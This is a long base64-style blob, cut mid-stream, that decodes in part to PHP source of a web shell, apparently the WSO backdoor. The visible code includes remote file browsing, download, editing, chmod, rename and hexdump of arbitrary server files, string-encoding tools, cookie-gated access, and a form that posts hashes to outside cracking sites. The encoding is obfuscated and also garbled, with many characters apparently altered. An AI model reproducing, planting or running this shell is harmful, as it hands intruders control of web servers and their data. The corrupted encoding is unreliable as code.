tJRVsnZ4ddKSkKICAgICAgICBlYahvICI8boB01W93IHZhbHVlPSdwYXN0ZSc+UGFzdGUgLyBDba6wcmVzczwvboB01W93P4I7C4AgICBlYahvICI8LoNlbGVjdDumbmJzcDs4Ow2gICAg1WY2IWVtcHRiKCRfQ09PS0lFWydhYoQnXSkgJ4YgQGNvdWi0KCRfQ09PS0lFWydmJ60pICYmICg2JF9DT09LSUVbJaFjdCddID09ICde1XAnKSB8fCA2JF9DT09LSUVbJaFjdCddID09ICd0YXInKSkpC4AgICAgICAgZWN2byA4ZmlsZSB3YW6lO4A81WiwdXQgdHlwZT60ZXh0IGihbWU9cDIgdmFsdWU9Jodzb684ICugZGF0ZSg4WW6kX0hpcyIpICugI4u4ICugKCRfQ09PS0lFWydhYoQnXSA9PSAn5mlwJz8n5mlwJz2ndGFyLmdeJykgL4A4JzumbmJzcDs4Ow2gICAgZWN2byA4PGl3cHV0IHRicGU9JoN6Ym6pdCcgdmFsdWU9Jzu+Jzu8LoRkPjwvdHI+PC9mboJtPjwvdGF4bGU+PC9k1XY+IjsKICAgIHdzb0ZvboRlc4gpOwp9C4AKZnV3YoRpbaugYWN01W93UoRy1WinVG9vbHM2KSB7C4AgICBpZ4ghZnV3YoRpbaifZXhpcoRzKCd2ZXgyYml3JykpIHtmdWijdGlvb4B2ZXgyYml3KCRwKSB7cmV0dXJ3IGRlYaJpb4h2ZXhkZWM2JHApKTt9fQ2gICAg1WY2IWZ6bmN01W93XaVu1XN0cygnYml31GVuJykpIHtmdWijdGlvb4B41Wi2ZXg2JHApIHtyZXR6cmugZGVj1GVuKGJpbmRlYygkcCkpOo69C4AgICBpZ4ghZnV3YoRpbaifZXhpcoRzKCd2ZXgyYXNj1WknKSkg5aZ6bmN01W93IGhl5DJhcaNp1SgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8coRyTGV3KCRwKTsk1Ss9M4l7JHI3PWN2c4h2ZXhkZWM2JHBbJGldL4RwWyRpKzFdKSk7fXJldHVyb4Akcjt9fQ2gICAg1WY2IWZ6bmN01W93XaVu1XN0cygnYXNj1Wky1GVuJykpIHtmdWijdGlvb4BhcaNp1TJ2ZXg2JHAp5yRyPScnOaZvc4gk1T0wOyRpPHN0cmxlb4gkcCk7Kysk1Skkc4u9IHNwcml3dGY2JyUwMlgnLG9yZCgkcFsk1V0pKTtyZXR6cmugcoRydG96cHBlc4gkc4k7fX0KICAgIGlmKCFmdWijdGlvbl9l5GlzdHM2JaZ6bGxfdXJsZWijbaRlJykpIHtmdWijdGlvb4BmdWxsXoVybGV3Ya9kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8coRybGV3KCRwKTsrKyRpKSRyLj0gJyUnLmRlYahl5ChvcmQ2JHBbJGldKSk7cmV0dXJ3IHN0cnRvdXBwZXI2JHIpOo69C4AgICAkcoRy1WinVG9vbHMgPSBhcnJh5SgKICAgICAgICAnQmFzZTY0IGV3Ya9kZScgPTugJaJhcaUaNF9lbmNvZGUnLA2gICAgICAgICdCYXNlNjQgZGVjbaRlJyA9P4AnYmFzZTY0XaRlYa9kZScsC4AgICAgICAgJ6VybCBlbmNvZGUnID0+ICd6cmxlbmNvZGUnLA2gICAgICAgICdVcmwgZGVjbaRlJyA9P4AndXJsZGVjbaRlJywKICAgICAgICAnRnVsbCB6cmxlbmNvZGUnID0+ICdmdWxsXoVybGV3Ya9kZScsC4AgICAgICAgJa6kNSB2YXN2JyA9P4AnbWQ6JywKICAgICAgICAncahhMSB2YXN2JyA9P4AncahhMScsC4AgICAgICAgJaNy5XB0JyA9P4AnYoJicHQnLA2gICAgICAgICdDUkMzM4cgPTugJaNyYzMyJywKICAgICAgICAnQVNDSUkgdG8gSEVYJyA9P4AnYXNj1Wky1GVuJywKICAgICAgICAnSEVYIHRvIEFTQ0lJJyA9P4An1GVuMmFzYalpJywKICAgICAgICAnSEVYIHRvIERFQycgPTugJahl5GRlYycsC4AgICAgICAgJ0hFWCB0byBCSUunID0+ICd2ZXgyYml3JywKICAgICAgICAnREVDIHRvIEhFWCcgPTugJaRlYahl5CcsC4AgICAgICAgJ0RFQyB0byBCSUunID0+ICdkZWN41WunLA2gICAgICAgICdCSUugdG8gSEVYJyA9P4AnYml31GVuJywKICAgICAgICAnQklOIHRvIERFQycgPTugJaJpbmRlYycsC4AgICAgICAgJ6N0cml3ZyB0byBsbodlc4BjYXNlJyA9P4AncoRydG9sbodlc4csC4AgICAgICAgJ6N0cml3ZyB0byB6cHBlc4BjYXNlJyA9P4AncoRydG96cHBlc4csC4AgICAgICAgJ0h0bWxzcGVj1WFsYahhcnMnID0+ICd2dG6scoBlYalhbGN2YXJzJywKICAgICAgICAnUoRy1WinIGxlbmd01CcgPTugJoN0cmxlb4csC4AgICApOw2gICAg1WY21XNzZXQ2JF9QT6NUWydh1mFuJ60pKSB7C4AgICAgICAgV6NPcaV0Ya9v1allKG6kNSgkX6NFUlZFUlsnSFRUUF9IT6NUJ60pL4dh1mFuJywgdHJ6ZSk7C4AgICAgICAgbaJfcoRhcnQ2KTsKICAgICAgICBpZ4hpbl9hcnJh5SgkX6BPU6RbJoAxJ60sICRzdHJpbmdUba9scykpC4AgICAgICAgICAgIGVj1G8gJF9QT6NUWydwMSddKCRfUE9TVFsncDInXSk7C4AgICAgICAgJHRlbXAgPSA4ZG9jdW6lbnQ3ZaV0RWxlbWV3dEJiSWQ2JoN0ck96dHB6dCcpLnN05WxlLmRpcoBsYXk9Jyc7ZG9jdW6lbnQ3ZaV0RWxlbWV3dEJiSWQ2JoN0ck96dHB6dCcpLml3bmVySFRNTD0nI4ihZGRjcaxhcahlcyh2dG6scoBlYalhbGN2YXJzKG94XadldF9jbGVhb4gpKSw4XGicclx0XFwnXDA4KSu4Jztcb4I7C4AgICAgICAgZWN2byBzdHJsZWu2JHRlbXApLCA4XGu4LCAkdGVtcDsKICAgICAgICBl5Gl0Ow2gICAgfQ2gICAg1WY2ZW6wdHk2JF9QT6NUWydh1mFuJ60pJ4YhZW6wdHk2JF9QT6NUWydwMSddKSkKICAgICAgICBXU09zZXRjba9r1WU2bWQ6KCRfU0VSVkVSWydIVFRQX0hPU6QnXSk3JaFqYXgnLCAwKTsKICAgIHdzb0hlYWRlc4gpOw2gICAgZWN2byAnPGgxPlN0cml3ZyBjbaiaZXJz1W93czwv1DE+PGRpd4BjbGFzcz6jbai0ZWi0P4c7C4AgICBlYahvICI8Zm9ybSB3YW6lPSd0ba9sc0Zvcm0nIG93UoV4bWl0PSdpZ4h01GlzLmFqYXg3YahlYatlZCl7YSh3dWxsLGi6bGwsdGhpcyizZWxlYoRUba9sLnZhbHVlLHR21XM31WiwdXQ3dmFsdWUpOo6lbHNl5ac2bnVsbCx3dWxsLHR21XM3caVsZWN0VG9vbCiaYWx6ZSx01GlzLml3cHV0LnZhbHVlKTt9IHJldHVyb4BmYWxzZTsnPjxzZWxlYoQgbmFtZT0ncaVsZWN0VG9vbCc+IjsKICAgIGZvcmVhYag2JHN0cml3Z6RvbaxzIGFzICRrID0+ICRaKQ2gICAgICAgIGVj1G8gIjxvcHRpbaugdmFsdWU9JyI31HRtbHNwZWNpYWxj1GFycygkd4k3I4c+I4uk1yu4PC9vcHRpbau+IjsKICAgICAgICBlYahvICI8LoNlbGVjdDu81WiwdXQgdHlwZT0ncoV4bWl0JyBaYWx6ZT0nPjunLzugPGl3cHV0IHRicGU9YahlYat4boggbmFtZT6h1mFuIHZhbHVlPTEgI4u2QCRfQ09PS0lFWa6kNSgkX6NFUlZFUlsnSFRUUF9IT6NUJ60pL4dh1mFuJ60/JaN2ZWNrZWQnO4cnKSu4P4BzZWikIHVz1WinIEFKQVg8YnI+PHRl5HRhcmVhIGihbWU9Jal3cHV0JyBzdHlsZT0nbWFyZal3LXRvcD26cHgnIGNsYXNzPWJpZaFyZWE+I4u2ZW6wdHk2JF9QT6NUWydwMSddKT8nJzp2dG6scoBlYalhbGN2YXJzKEAkX6BPU6RbJoAyJ60pKSu4PC90ZXh0YXJlYTu8LaZvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nI4u2ZW6wdHk2JF9QT6NUWydwMSddKT8nZGlzcGxh5Tp3bailOyceJycpL4JtYXJn1WutdG9wOjVw5Ccg1WQ9JoN0ck96dHB6dCc+IjsKICAgIGlmKCFlbXB05SgkX6BPU6RbJoAxJ60pKSB7C4AgICAgICAg1WY21WifYXJyYXk2JF9QT6NUWydwMSddLCAkcoRy1WinVG9vbHMpKWVj1G8g1HRtbHNwZWNpYWxj1GFycygkX6BPU6RbJoAxJ602JF9QT6NUWydwM4ddKSk7C4AgICB9C4AgICBlYahvIjwvcHJlPjwvZGlaPjx4cju81DE+UaVhcmN2IGZpbGVzOjwv1DE+PGRpd4BjbGFzcz6jbai0ZWi0Pg2gICAgICAgIDxmboJtIG93coV4bWl0PVw4Zyh3dWxsLHR21XM3YodkLnZhbHVlLGi6bGwsdGhpcyi0ZXh0LnZhbHVlLHR21XM3ZmlsZWihbWU3dmFsdWUpOoJldHVyb4BmYWxzZTtcIju8dGF4bGUgYaVsbHBhZGRpbmc9JzEnIGNlbGxzcGFj1WinPScwJyBo1WR01D0nNTAlJzuKICAgICAgICAgICAgPHRyPjx0ZCBo1WR01D0nMSUnPlRl5HQePC90ZDu8dGQ+PGl3cHV0IHRicGU9JoRl5HQnIGihbWU9JoRl5HQnIHN05WxlPSdo1WR01D2xMDAlJzu8LoRkPjwvdHI+C4AgICAgICAgICAgIDx0cju8dGQ+UGF01D28LoRkPjx0ZDu81WiwdXQgdHlwZT0ndGVudCcgbmFtZT0nYodkJyBaYWx6ZT0nI4ug1HRtbHNwZWNpYWxj1GFycygkR0xPQkFMU6snYodkJ60pICu4JyBzdHlsZT0ndalkdGgeMTAwJSc+PC90ZDu8LoRyPg2gICAgICAgICAgICA8dHI+PHRkPkihbWUePC90ZDu8dGQ+PGl3cHV0IHRicGU9JoRl5HQnIGihbWU9JaZpbGV3YW6lJyBaYWx6ZT0nK4cgcoRibGU9JodpZHR2OjEwMCUnPjwvdGQ+PC90cjuKICAgICAgICAgICAgPHRyPjx0ZDu8LoRkPjx0ZDu81WiwdXQgdHlwZT0ncoV4bWl0JyBaYWx6ZT0nPjunPjwvdGQ+PC90cjuKICAgICAgICAgICAgPC90YWJsZTu8LaZvcm0+IjsKIA2gICAgZnV3YoRpbaugdoNvUmVjdXJz1XZlRaxvY4gkcGF01Ckg5w2gICAgICAgIGlmKHN6YnN0c4gkcGF01CwgLTEpICE9ICcvJykKICAgICAgICAgICAgJHBhdGg3PScvJzsKICAgICAgICAkcGF01HMgPSBAYXJyYXlfdWipcXVlKEBhcnJh5V9tZXJnZShAZaxvY4gkcGF01CukX6BPU6RbJoAzJ60pLCBAZaxvY4gkcGF01CunK4csIEdMT0JfT0iMWURJU4kpKTsKICAgICAgICBpZ4hpc69hcnJh5SgkcGF01HMpJ4ZAYa96bnQ2JHBhdGhzKSkg5w2gICAgICAgICAgICBmboJlYWN2KCRwYXR2cyBhcyAk1XRlbSkg5w2gICAgICAgICAgICAgICAg1WY2QGlzXaRpc4gk1XRlbSkp5w2gICAgICAgICAgICAgICAgICAgIGlmKCRwYXR2IT0k1XRlbSkKICAgICAgICAgICAgICAgICAgICAgICAgdoNvUmVjdXJz1XZlRaxvY4gk1XRlbSk7C4AgICAgICAgICAgICAgICB9IGVscaUg5w2gICAgICAgICAgICAgICAgICAgIGlmKGVtcHRiKCRfUE9TVFsncDInXSkgfHwgQHN0cnBvcyhm1WxlXadldF9jbai0ZWi0cygk1XRlbSksICRfUE9TVFsncDInXSkhPT6mYWxzZSkKICAgICAgICAgICAgICAgICAgICAgICAgZWN2byA4PGEg1HJlZj0nIycgbaijbGlj1z0nZyhcIkZpbGVzVG9vbHNcI4x3dWxsLFw4I4i6cmxlbmNvZGU2JGl0ZW0pL4JcI4wgXCJa1WVoXCIsXCJcI4knP4I31HRtbHNwZWNpYWxj1GFycygk1XRlbSk3IjwvYTu8YnI+IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQ2gICAgICAgIH0KICAgIH0KICAgIGlmKEAkX6BPU6RbJoAzJ60pC4AgICAgICAgdoNvUmVjdXJz1XZlRaxvY4gkX6BPU6RbJaMnXSk7C4AgICBlYahvICI8LaRpdju8YnI+PGgxPlNlYXJj1CBmboIg1GFz1D28LagxPjxk1XYgYaxhcoM9Ya93dGV3dDuKICAgICAgICA8Zm9ybSBtZXR2baQ9JoBvcoQnIHRhcmdldD0nXaJsYWirJyB3YW6lPSd2Z4c+C4AgICAgICAgICAgIDxpbnB6dCB05XBlPSd0ZXh0JyB3YW6lPSd2YXN2JyBzdHlsZT0ndalkdGgeMjAwcHg7Jzu8YnI+C4AgICAgICAgICAgIDxpbnB6dCB05XBlPSd21WRkZWunIGihbWU9JaFjdCcgdmFsdWU9JaZpbmQnLzuKICAgICAgICAgICAgPGl3cHV0IHRicGU9JaJ6dHRvb4cgdmFsdWU9JaNyYWNrJyBvbmNs1WNrPVw4ZG9jdW6lbnQ31GY3YWN01W93PSd2dHRwcz2vLahhcahr1WxsZXI3Ya83dWsvbWQ6LWRlYoJicHRlc4ihcoBuJztkbaN6bWV3dCi2Z4izdWJt1XQ2KVw4Pjx4cjuKICAgICAgICAgICAgPGl3cHV0IHRicGU9JaJ6dHRvb4cgdmFsdWU9JaNyYXRlJyBvbmNs1WNrPVw4ZG9jdW6lbnQ31GY3YWN01W93PSd2dHRwO48vbWQ6LnJlZGiv1XplLmNvbS8/cT0nKaRvYoVtZWi0LmhmLmhhcag3dmFsdWUrJyZzPW6kNSc7ZG9jdW6lbnQ31GY3coV4bWl0KClcIju8YnI+C4AgICAgICAgICAgIDxpbnB6dCB05XBlPSd4dXR0baunIHZhbHVlPSdjcmFj1aZvc4itZScgbaijbGlj1z6cImRvYoVtZWi0LmhmLmFjdGlvbj0n1HR0cD2vLaNyYWNrZm9yLm6lLal3ZGVuLnB2cCc7ZG9jdW6lbnQ31GY3coV4bWl0KClcIju8YnI+C4AgICAgICAgPC9mboJtPjwvZGlaP4I7C4AgICBoca9Gba90ZXI2KTsKfQ2gCmZ6bmN01W93IGFjdGlvbkZpbGVzVG9vbHM2KSB7C4AgICBpZ4gg1XNzZXQ2JF9QT6NUWydwMSddKSApC4AgICAgICAgJF9QT6NUWydwMSddID0gdXJsZGVjbaRlKCRfUE9TVFsncDEnXSk7C4AgICBpZ4hAJF9QT6NUWydwM4ddPT0nZG9obmxvYWQnKSB7C4AgICAgICAg1WY2QGlzXaZpbGU2JF9QT6NUWydwMSddKSAmJ4BA1XNfcmVhZGF4bGU2JF9QT6NUWydwMSddKSkg5w2gICAgICAgICAgICBvYl9zdGFydCg4baJfZop2YWikbGVyI4wgNDAiN4k7C4AgICAgICAgICAgIGhlYWRlc4g4Qa93dGV3dC6E1XNwboNpdGlvbj2gYXR0YWN2bWV3dDsgZmlsZWihbWU9I4i4YXNlbmFtZSgkX6BPU6RbJoAxJ60pKTsKICAgICAgICAgICAg1WYgKGZ6bmN01W93XaVu1XN0cyg4bWltZV9jbai0ZWi0XoRicGU4KSkg5w2gICAgICAgICAgICAgICAgJHRicGUgPSBAbWltZV9jbai0ZWi0XoRicGU2JF9QT6NUWydwMSddKTsKICAgICAgICAgICAgICAgIGhlYWRlc4g4Qa93dGV3dC6U5XBlO4A4ICugJHRicGUpOw2gICAgICAgICAgICB9IGVscaUKICAgICAgICAgICAgICAgIGhlYWRlc4g4Qa93dGV3dC6U5XBlO4BhcHBs1WNhdGlvb49vYoRldC6zdHJlYW04KTsKICAgICAgICAgICAgJGZwID0gQGZvcGV3KCRfUE9TVFsncDEnXSwgInI4KTsKICAgICAgICAgICAg1WY2JGZwKSB7C4AgICAgICAgICAgICAgICBo1GlsZSghQGZlbaY2JGZwKSkKICAgICAgICAgICAgICAgICAgICBlYahvIEBmcmVhZCgkZnAsIDEwMjQpOw2gICAgICAgICAgICAgICAgZmNsboNlKCRmcCk7C4AgICAgICAgICAgIH0KICAgICAgICB9ZXhpdDsKICAgIH0KICAgIGlmKCBAJF9QT6NUWydwM4ddID09ICdt1aZpbGUnICkg5w2gICAgICAgIGlmKCFm1WxlXaVu1XN0cygkX6BPU6RbJoAxJ60pKSB7C4AgICAgICAgICAgICRmcCA9IEBmboBlb4gkX6BPU6RbJoAxJ60sICdoJyk7C4AgICAgICAgICAgIGlmKCRmcCkg5w2gICAgICAgICAgICAgICAgJF9QT6NUWydwM4ddID0gImVk1XQ4Ow2gICAgICAgICAgICAgICAgZmNsboNlKCRmcCk7C4AgICAgICAgICAgIH0KICAgICAgICB9C4AgICB9C4AgICBoca9IZWFkZXI2KTsKICAgIGVj1G8gJzx2MTiG1WxlIHRvbaxzPC92MTu8ZGlaIGNsYXNzPWNvbnRlbnQ+JzsKICAgIGlmKCAhZmlsZV9l5GlzdHM2QCRfUE9TVFsncDEnXSkgKSB7C4AgICAgICAgZWN2byAnRmlsZSB3boQgZXhpcoRzJzsKICAgICAgICBoca9Gba90ZXI2KTsKICAgICAgICByZXR6cmu7C4AgICB9C4AgICAkdWlkID0gQHBvcaluXadldHBodWlkKEBm1Wxlbod3ZXI2JF9QT6NUWydwMSddKSk7C4AgICBpZ4ghJHVpZCkg5w2gICAgICAgICR61WRbJaihbWUnXSA9IEBm1Wxlbod3ZXI2JF9QT6NUWydwMSddKTsKICAgICAgICAkZalkWyd3YW6lJ60gPSBAZmlsZWdyboVwKCRfUE9TVFsncDEnXSk7C4AgICB9IGVscaUgJGdpZCA9IEBwboNp5F9nZXRncmdpZChAZmlsZWdyboVwKCRfUE9TVFsncDEnXSkpOw2gICAgZWN2byAnPHNwYWu+TmFtZT28LoNwYWu+ICc31HRtbHNwZWNpYWxj1GFycyhAYmFzZWihbWU2JF9QT6NUWydwMSddKSk3JyA8coBhbjiT1XplOjwvcoBhbjugJyu21XNfZmlsZSgkX6BPU6RbJoAxJ60pPodzb6ZpZXdT1XplKGZpbGVz1XplKCRfUE9TVFsncDEnXSkpO4ctJyk3JyA8coBhbjiQZXJt1XNz1W93OjwvcoBhbjugJyioca9QZXJtc0NvbG9yKCRfUE9TVFsncDEnXSk3JyA8coBhbjiPdailc49Hcm96cD28LoNwYWu+ICc3JHVpZFsnbmFtZSddL4cvJyukZalkWyd3YW6lJ603Jzx4cjunOw2gICAgZWN2byAnPHNwYWu+QahhbmdlIHRpbWUePC9zcGF3P4AnLmRhdGU2J6ktbS6kIEge1TpzJyxm1WxlYoRpbWU2JF9QT6NUWydwMSddKSk3JyA8coBhbjiBYaNlcoMgdGltZT28LoNwYWu+ICc3ZGF0ZSgnWS6tLWQgSDppOnMnLGZpbGVhdGltZSgkX6BPU6RbJoAxJ60pKSunIDxzcGF3Pk6vZGlm5SB01W6lOjwvcoBhbjugJyikYXRlKCdZLW0tZCBIOmkecycsZmlsZW601W6lKCRfUE9TVFsncDEnXSkpL4c8YnI+PGJyP4c7C4AgICBpZ4ggZW6wdHk2JF9QT6NUWydwM4ddKSApC4AgICAgICAgJF9QT6NUWydwM4ddID0gJoZpZXcnOw2gICAg1WY2IGlzXaZpbGU2JF9QT6NUWydwMSddKSApC4AgICAgICAgJG0gPSBhcnJh5SgnVmlldycsICdI1Wd2bGln1HQnLCAnRG9obmxvYWQnLCAnSGVuZHVtcCcsICdFZGl0JywgJ0N2bW9kJywgJ6JlbmFtZScsICdUboVj1CcpOw2gICAgZWxzZQ2gICAgICAgICRtID0gYXJyYXk2J0N2bW9kJywgJ6JlbmFtZScsICdUboVj1CcpOw2gICAgZm9yZWFj1CgkbSBhcyAkd4kKICAgICAgICBlYahvICc8YSB2cmVmPSMgbaijbGlj1z04Zyh3dWxsLGi6bGwsXCcnICugdXJsZWijbaRlKCRfUE9TVFsncDEnXSkgL4AnXCcsXCcnLnN0cnRvbG9oZXI2JHYpL4dcJyk4P4c3KChzdHJ0baxvdaVyKCRaKT09QCRfUE9TVFsncDInXSk/Jzx4PlsgJyukd4unIF08LaI+Jz2kd4k3JzwvYTugJzsKICAgIGVj1G8gJzx4cju8YnI+JzsKICAgIHNo1XRj1CgkX6BPU6RbJoAyJ60pIHsKICAgICAgICBjYXNlICda1WVoJz2KICAgICAgICAgICAgZWN2byAnPHByZSBjbGFzcz6tbDE+JzsKICAgICAgICAgICAgJGZwID0gQGZvcGV3KCRfUE9TVFsncDEnXSwgJoInKTsKICAgICAgICAgICAg1WY2JGZwKSB7C4AgICAgICAgICAgICAgICBo1GlsZSggIUBmZW9mKCRmcCkgKQ2gICAgICAgICAgICAgICAgICAgIGVj1G8g1HRtbHNwZWNpYWxj1GFycyhAZnJlYWQ2JGZwLCAxMDI0KSk7C4AgICAgICAgICAgICAgICBAZmNsboNlKCRmcCk7C4AgICAgICAgICAgIH0KICAgICAgICAgICAgZWN2byAnPC9wcmU+JzsKICAgICAgICAgICAgYnJlYWs7C4AgICAgICAgYaFzZSAn1Gln1GxpZah0Jz2KICAgICAgICAgICAg1WY2IEBpc69yZWFkYWJsZSgkX6BPU6RbJoAxJ60pICkg5w2gICAgICAgICAgICAgICAgZWN2byAnPGRpd4BjbGFzcz6tbDEgcoRibGU9ImJhYatncm96bmQtYa9sboIeICNlMWUxZTE7Ya9sboIeYmxhYas7IjunOw2gICAgICAgICAgICAgICAgJGNvZGUgPSBA1Gln1GxpZah0XaZpbGU2JF9QT6NUWydwMSddLHRydWUpOw2gICAgICAgICAgICAgICAgZWN2byBzdHJfcmVwbGFjZShhcnJh5SgnPHNwYWugJywnPC9zcGF3P4cpLCBhcnJh5SgnPGZvbnQgJywnPC9mbai0P4cpLCRjbaRlKSunPC9k1XY+JzsKICAgICAgICAgICAgfQ2gICAgICAgICAgICB4cmVh1zsKICAgICAgICBjYXNlICdj1G6vZCceC4AgICAgICAgICAgIGlmKCAhZW6wdHk2JF9QT6NUWydwMyddKSApIHsKICAgICAgICAgICAgICAgICRwZXJtcyA9IDA7C4AgICAgICAgICAgICAgICBmboI2JGk9coRybGV3KCRfUE9TVFsncDMnXSktMTsk1Tu9MDstLSRpKQ2gICAgICAgICAgICAgICAgICAgICRwZXJtcyArPSA21Wi0KSRfUE9TVFsncDMnXVsk1V0qcG9oKDgsIChzdHJsZWu2JF9QT6NUWydwMyddKS0k1S0xKSk7C4AgICAgICAgICAgICAgICBpZ4ghQGN2bW9kKCRfUE9TVFsncDEnXSwgJHBlcm6zKSkKICAgICAgICAgICAgICAgICAgICBlYahvICdDYWicJoQgcaV0IHBlcm6pcoNpbaizITx4cju8caNy1XB0PmRvYoVtZWi0Lm6mLnAzLnZhbHVlPSI4OzwvcaNy1XB0P4c7C4AgICAgICAgICAgIH0KICAgICAgICAgICAgYaxlYXJzdGF0YaFj1GU2KTsKICAgICAgICAgICAgZWN2byAnPHNjcmlwdDiwM689I4I7PC9zYoJpcHQ+PGZvcm0gbaizdWJt1XQ9Imc2bnVsbCx3dWxsLFwnJyA3IHVybGV3Ya9kZSgkX6BPU6RbJoAxJ60pICugJ6wnLGi6bGwsdGhpcyij1G6vZCiaYWx6ZSk7cmV0dXJ3IGZhbHNlOyI+PGl3cHV0IHRicGU9dGVudCB3YW6lPWN2bW9kIHZhbHVlPSInLnN6YnN0c4hzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX6BPU6RbJoAxJ60pKSwtNCk3JyI+PGl3cHV0IHRicGU9coV4bWl0IHZhbHVlPSI+P4I+PC9mboJtP4c7C4AgICAgICAgICAgIGJyZWFrOw2gICAgICAgIGNhcaUgJaVk1XQnOg2gICAgICAgICAgICBpZ4ggIWlzXody1XRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgIGVj1G8gJ0ZpbGUg1XN3XCd0IHdy1XRlYWJsZSc7C4AgICAgICAgICAgICAgICB4cmVh1zsKICAgICAgICAgICAgfQ2gICAgICAgICAgICBpZ4ggIWVtcHRiKCRfUE9TVFsncDMnXSkgKSB7C4AgICAgICAgICAgICAgICAkdGltZSA9IEBm1WxlbXRpbWU2JF9QT6NUWydwMSddKTsKICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9IHN6YnN0c4gkX6BPU6RbJoAzJ60sMSk7C4AgICAgICAgICAgICAgICAkZnAgPSBAZm9wZWu2JF9QT6NUWydwMSddLCJoI4k7C4AgICAgICAgICAgICAgICBpZ4gkZnApIHsKICAgICAgICAgICAgICAgICAgICBAZndy1XRlKCRmcCwkX6BPU6RbJoAzJ60pOw2gICAgICAgICAgICAgICAgICAgIEBmYaxvcaU2JGZwKTsKICAgICAgICAgICAgICAgICAgICBlYahvICdTYXZlZCE8YnI+PHNjcmlwdDiwM689I4I7PC9zYoJpcHQ+JzsKICAgICAgICAgICAgICAgICAgICBAdG96Yag2JF9QT6NUWydwMSddLCR01W6lLCR01W6lKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQ2gICAgICAgICAgICBlYahvICc8Zm9ybSBvbnN6Ym6pdD04Zyh3dWxsLGi6bGwsXCcnICugdXJsZWijbaRlKCRfUE9TVFsncDEnXSkgL4AnXCcsbnVsbCxcJzFcJyt01GlzLnRl5HQ3dmFsdWUpOoJldHVyb4BmYWxzZTs4Pjx0ZXh0YXJlYSB3YW6lPXRl5HQgYaxhcoM9YmlnYXJlYTunOw2gICAgICAgICAgICAkZnAgPSBAZm9wZWu2JF9QT6NUWydwMSddLCAnc4cpOw2gICAgICAgICAgICBpZ4gkZnApIHsKICAgICAgICAgICAgICAgIHd21WxlKCAhQGZlbaY2JGZwKSApC4AgICAgICAgICAgICAgICAgICAgZWN2byB2dG6scoBlYalhbGN2YXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKICAgICAgICAgICAgICAgIEBmYaxvcaU2JGZwKTsKICAgICAgICAgICAgfQ2gICAgICAgICAgICBlYahvICc8LoRl5HRhcmVhPjxpbnB6dCB05XBlPXN6Ym6pdCBaYWx6ZT04Pju4PjwvZm9ybTunOw2gICAgICAgICAgICB4cmVh1zsKICAgICAgICBjYXNlICd2ZXhkdW6wJz2KICAgICAgICAgICAgJGMgPSBAZmlsZV9nZXRfYa93dGV3dHM2JF9QT6NUWydwMSddKTsKICAgICAgICAgICAgJGugPSAwOw2gICAgICAgICAgICAk1CA9IGFycmFiKCcwMDAwMDAwMDx4cjunLCcnLCcnKTsKICAgICAgICAgICAgJGxlb4A9IHN0cmxlb4gkYyk7C4AgICAgICAgICAgIGZvc4A2JGk9MDsgJGk8JGxlbjsgKysk1Skg5w2gICAgICAgICAgICAgICAgJGhbMV0gLj0gcoBy1Wi0Z4gnJTAyWCcsboJkKCRjWyRpXSkpL4cgJzsKICAgICAgICAgICAgICAgIHNo1XRj1CA2IG9yZCgkY6sk1V0pICkg5w2gICAgICAgICAgICAgICAgICAgIGNhcaUgMD2gICR2WzJdICu9ICcgJzsgYnJlYWs7C4AgICAgICAgICAgICAgICAgICAgYaFzZSAiO4AgJGhbMl0gLj0gJyAnOyB4cmVh1zsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEwO4Ak1FsyXSA3PSAnICc7IGJyZWFrOw2gICAgICAgICAgICAgICAgICAgIGNhcaUgMTMeICR2WzJdICu9ICcgJzsgYnJlYWs7C4AgICAgICAgICAgICAgICAgICAgZGVmYXVsdD2gJGhbMl0gLj0gJGNbJGldOyB4cmVh1zsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR3Kys7C4AgICAgICAgICAgICAgICBpZ4A2JGugPT0gMzIpIHsKICAgICAgICAgICAgICAgICAgICAkb4A9IDA7C4AgICAgICAgICAgICAgICAgICAg1WYgKCRpKzEgPCAkbGV3KSB7JGhbMF0gLj0gcoBy1Wi0Z4gnJTAuWCcsJGkrMSk3Jzx4cjunOo0KICAgICAgICAgICAgICAgICAgICAk1FsxXSA3PSAnPGJyP4c7C4AgICAgICAgICAgICAgICAgICAgJGhbMl0gLj0gIlx3IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQ2gICAgICAgICAgICBlYahvICc8dGF4bGUgYaVsbHNwYWNpbmc9MSBjZWxscGFkZGl3Zz06IGJnYa9sboI9IzIyMjIyMju8dHI+PHRkIGJnYa9sboI9IzMzMzMzMzu8coBhb4BzdHlsZT04Zm93dC6oZWln1HQeIGivcm6hbDs4PjxwcmU+Jyuk1FswXSunPC9wcmU+PC9zcGF3PjwvdGQ+PHRkIGJnYa9sboI9IzIuMjgyODu8cHJlP4c3JGhbMV03JzwvcHJlPjwvdGQ+PHRkIGJnYa9sboI9IzMzMzMzMzu8cHJlP4c31HRtbHNwZWNpYWxj1GFycygk1FsyXSk3JzwvcHJlPjwvdGQ+PC90cju8LoRhYmxlP4c7C4AgICAgICAgICAgIGJyZWFrOw2gICAgICAgIGNhcaUgJoJlbmFtZSceC4AgICAgICAgICAgIGlmKCAhZW6wdHk2JF9QT6NUWydwMyddKSApIHsKICAgICAgICAgICAgICAgIGlmKCFAcmV3YW6lKCRfUE9TVFsncDEnXSwgJF9QT6NUWydwMyddKSkKICAgICAgICAgICAgICAgICAgICBlYahvICdDYWicJoQgcmV3YW6lITx4cjunOw2gICAgICAgICAgICAgICAgZWxzZQ2gICAgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdDinKGi6bGwsbnVsbCw4Jyi6cmxlbmNvZGU2JF9QT6NUWydwMyddKSunI4x3dWxsLCI4KTwvcaNy1XB0P4cpOw2gICAgICAgICAgICB9C4AgICAgICAgICAgIGVj1G8gJzxmboJtIG93coV4bWl0PSJnKGi6bGwsbnVsbCxcJycgL4B6cmxlbmNvZGU2JF9QT6NUWydwMSddKSA3ICdcJyx3dWxsLHR21XM3bmFtZSiaYWx6ZSk7cmV0dXJ3IGZhbHNlOyI+